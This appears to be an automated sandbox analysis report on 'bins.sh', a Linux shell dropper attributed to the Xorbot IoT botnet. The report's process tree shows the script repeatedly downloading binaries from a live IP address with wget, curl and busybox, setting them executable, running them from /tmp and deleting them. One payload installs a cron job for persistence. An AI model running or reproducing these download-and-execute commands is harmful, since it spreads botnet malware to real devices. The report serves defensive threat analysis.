Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    04/12/2024, 21:17

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    8580d3e0404771972a9f01c8f1022b41

  • SHA1

    12009ebfa508f900f56d9da9a3fc0f058ce2227a

  • SHA256

    838e2007e9ae8cb8aaa9c2f53b17d5503d751cdc59a5997e2b9228de843b38f1

  • SHA512

    11d915de31c2a4cde4cd48529b3962db89f49307c35d963b9c4ee6e4edaa1eb02fd409d65305a4f30a6a0576ab134d3479071c9eee0d5bbf6b71b8151caacde9

  • SSDEEP

    96:uxnn5zkwsZhf0wvJhVz6a/eHK9h1TksmBbQJhVz6aDyyLil8dm9h1Tksdg1PZhfZ:u0Zhf0wv9eHK0CHZhf0wx

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1474
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1475
        • /usr/bin/wget
          wget http://216.126.231.240/bins/3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c
          2⤵
          • Writes file to tmp directory
          PID:1476
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c
          2⤵
          • Writes file to tmp directory
          PID:1483
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c
          2⤵
          • Writes file to tmp directory
          PID:1490
        • /bin/chmod
          chmod 777 3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c
          2⤵
          • File and Directory Permissions Modification
          PID:1491
        • /tmp/3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c
          ./3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c
          2⤵
          • Executes dropped EXE
          PID:1492
        • /bin/rm
          rm 3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c
          2⤵
            PID:1494
          • /usr/bin/wget
            wget http://216.126.231.240/bins/xo4idlUJaiiPjiiOV0cIUd0SGi73SQhZV8
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:1495
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/xo4idlUJaiiPjiiOV0cIUd0SGi73SQhZV8
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:1496
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/xo4idlUJaiiPjiiOV0cIUd0SGi73SQhZV8
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:1505
          • /bin/chmod
            chmod 777 xo4idlUJaiiPjiiOV0cIUd0SGi73SQhZV8
            2⤵
            • File and Directory Permissions Modification
            PID:1506
          • /tmp/xo4idlUJaiiPjiiOV0cIUd0SGi73SQhZV8
            ./xo4idlUJaiiPjiiOV0cIUd0SGi73SQhZV8
            2⤵
            • Executes dropped EXE
            • System Network Configuration Discovery
            PID:1507
          • /bin/rm
            rm xo4idlUJaiiPjiiOV0cIUd0SGi73SQhZV8
            2⤵
            • System Network Configuration Discovery
            PID:1509
          • /usr/bin/wget
            wget http://216.126.231.240/bins/WOPFKBEhpxNpsLb1mSRydCYTECwQrgMLmq
            2⤵
            • Writes file to tmp directory
            PID:1510
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/WOPFKBEhpxNpsLb1mSRydCYTECwQrgMLmq
            2⤵
            • Writes file to tmp directory
            PID:1511
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/WOPFKBEhpxNpsLb1mSRydCYTECwQrgMLmq
            2⤵
            • Writes file to tmp directory
            PID:1512
          • /bin/chmod
            chmod 777 WOPFKBEhpxNpsLb1mSRydCYTECwQrgMLmq
            2⤵
            • File and Directory Permissions Modification
            PID:1513
          • /tmp/WOPFKBEhpxNpsLb1mSRydCYTECwQrgMLmq
            ./WOPFKBEhpxNpsLb1mSRydCYTECwQrgMLmq
            2⤵
            • Executes dropped EXE
            PID:1514
          • /bin/rm
            rm WOPFKBEhpxNpsLb1mSRydCYTECwQrgMLmq
            2⤵
              PID:1516
            • /usr/bin/wget
              wget http://216.126.231.240/bins/DkZt4FDc52hBagaKEs8ZyAlGMa2zwN3FW8
              2⤵
              • Writes file to tmp directory
              PID:1517
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/DkZt4FDc52hBagaKEs8ZyAlGMa2zwN3FW8
              2⤵
              • Writes file to tmp directory
              PID:1518
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/DkZt4FDc52hBagaKEs8ZyAlGMa2zwN3FW8
              2⤵
              • Writes file to tmp directory
              PID:1519
            • /bin/chmod
              chmod 777 DkZt4FDc52hBagaKEs8ZyAlGMa2zwN3FW8
              2⤵
              • File and Directory Permissions Modification
              PID:1520
            • /tmp/DkZt4FDc52hBagaKEs8ZyAlGMa2zwN3FW8
              ./DkZt4FDc52hBagaKEs8ZyAlGMa2zwN3FW8
              2⤵
              • Executes dropped EXE
              PID:1521
            • /bin/rm
              rm DkZt4FDc52hBagaKEs8ZyAlGMa2zwN3FW8
              2⤵
                PID:1523
              • /usr/bin/wget
                wget http://216.126.231.240/bins/hAG58sIU3NuanwSBqfXvW72SVeZ0zCbCia
                2⤵
                • Writes file to tmp directory
                PID:1524
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/hAG58sIU3NuanwSBqfXvW72SVeZ0zCbCia
                2⤵
                • Writes file to tmp directory
                PID:1525
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/hAG58sIU3NuanwSBqfXvW72SVeZ0zCbCia
                2⤵
                • Writes file to tmp directory
                PID:1526
              • /bin/chmod
                chmod 777 hAG58sIU3NuanwSBqfXvW72SVeZ0zCbCia
                2⤵
                • File and Directory Permissions Modification
                PID:1527
              • /tmp/hAG58sIU3NuanwSBqfXvW72SVeZ0zCbCia
                ./hAG58sIU3NuanwSBqfXvW72SVeZ0zCbCia
                2⤵
                • Executes dropped EXE
                PID:1528
              • /bin/rm
                rm hAG58sIU3NuanwSBqfXvW72SVeZ0zCbCia
                2⤵
                  PID:1530
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/M1lNj0TZvz4mZbKzx1EqlhNebRojWjPT48
                  2⤵
                  • Writes file to tmp directory
                  PID:1531
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/M1lNj0TZvz4mZbKzx1EqlhNebRojWjPT48
                  2⤵
                  • Writes file to tmp directory
                  PID:1532
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/M1lNj0TZvz4mZbKzx1EqlhNebRojWjPT48
                  2⤵
                  • Writes file to tmp directory
                  PID:1533
                • /bin/chmod
                  chmod 777 M1lNj0TZvz4mZbKzx1EqlhNebRojWjPT48
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1534
                • /tmp/M1lNj0TZvz4mZbKzx1EqlhNebRojWjPT48
                  ./M1lNj0TZvz4mZbKzx1EqlhNebRojWjPT48
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:1535
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:1537
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:1538
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:1539
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:1540
                      • /bin/rm
                        rm M1lNj0TZvz4mZbKzx1EqlhNebRojWjPT48
                        2⤵
                          PID:1542
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/ZR1g7SjlENYkzyDb0TX1X8JqInsjYvyhKy
                          2⤵
                            PID:1545
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/ZR1g7SjlENYkzyDb0TX1X8JqInsjYvyhKy
                            2⤵
                              PID:1546

                          Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                • /tmp/3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c

                                  Filesize

                                  151KB

                                  MD5

                                  6c583043d91c55aa470c08c87058e917

                                  SHA1

                                  abf65a5b9bba69980278ad09356e53de8bb89439

                                  SHA256

                                  2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                  SHA512

                                  82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                • /tmp/DkZt4FDc52hBagaKEs8ZyAlGMa2zwN3FW8

                                  Filesize

                                  141KB

                                  MD5

                                  3ca8decdb1e52c423c521bfff02ac200

                                  SHA1

                                  8621ecd6807109b8541912ad9e134f6fb49bfd48

                                  SHA256

                                  dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                  SHA512

                                  b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                • /tmp/M1lNj0TZvz4mZbKzx1EqlhNebRojWjPT48

                                  Filesize

                                  99KB

                                  MD5

                                  9438d9bc392bcf300a5583b6df5bc8f6

                                  SHA1

                                  375a6ae34b516f6f3eeea8030c4084f585017efa

                                  SHA256

                                  68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                  SHA512

                                  1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                • /tmp/WOPFKBEhpxNpsLb1mSRydCYTECwQrgMLmq

                                  Filesize

                                  127KB

                                  MD5

                                  89077b7bd4bcafca7713be43635c4862

                                  SHA1

                                  fc02edb8fba29ea8ee99e6157ef8560334530052

                                  SHA256

                                  78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                  SHA512

                                  1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                • /tmp/hAG58sIU3NuanwSBqfXvW72SVeZ0zCbCia

                                  Filesize

                                  151KB

                                  MD5

                                  3c90d5820bddcf7c5d1bd21dfa49d958

                                  SHA1

                                  5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                  SHA256

                                  bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                  SHA512

                                  54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                • /tmp/xo4idlUJaiiPjiiOV0cIUd0SGi73SQhZV8

                                  Filesize

                                  122KB

                                  MD5

                                  cd3d4b9c643e5b473fb4d88ed05f0716

                                  SHA1

                                  64ee7a97418583d759eaea8000890cc3bae1b5f4

                                  SHA256

                                  0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                  SHA512

                                  164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                • /var/spool/cron/crontabs/tmp.ullzCQ

                                  Filesize

                                  210B

                                  MD5

                                  41c38b4439c463bd7f235209821cc1d8

                                  SHA1

                                  429604b3363a4886df482ce3d296bf306e207eaf

                                  SHA256

                                  8c554da11f4981a4cddaa9cae29dceea0bcad51bbe1364a9877d8c55281f8818

                                  SHA512

                                  c5f6cb447a6ea95017d6ec21f33516058b86bf3830f20de4d0c6dc8c299c576d7f1d8227ad46b47be9bd07f56bd5ae23726b4d4e23ca1a7538358a3e24783f66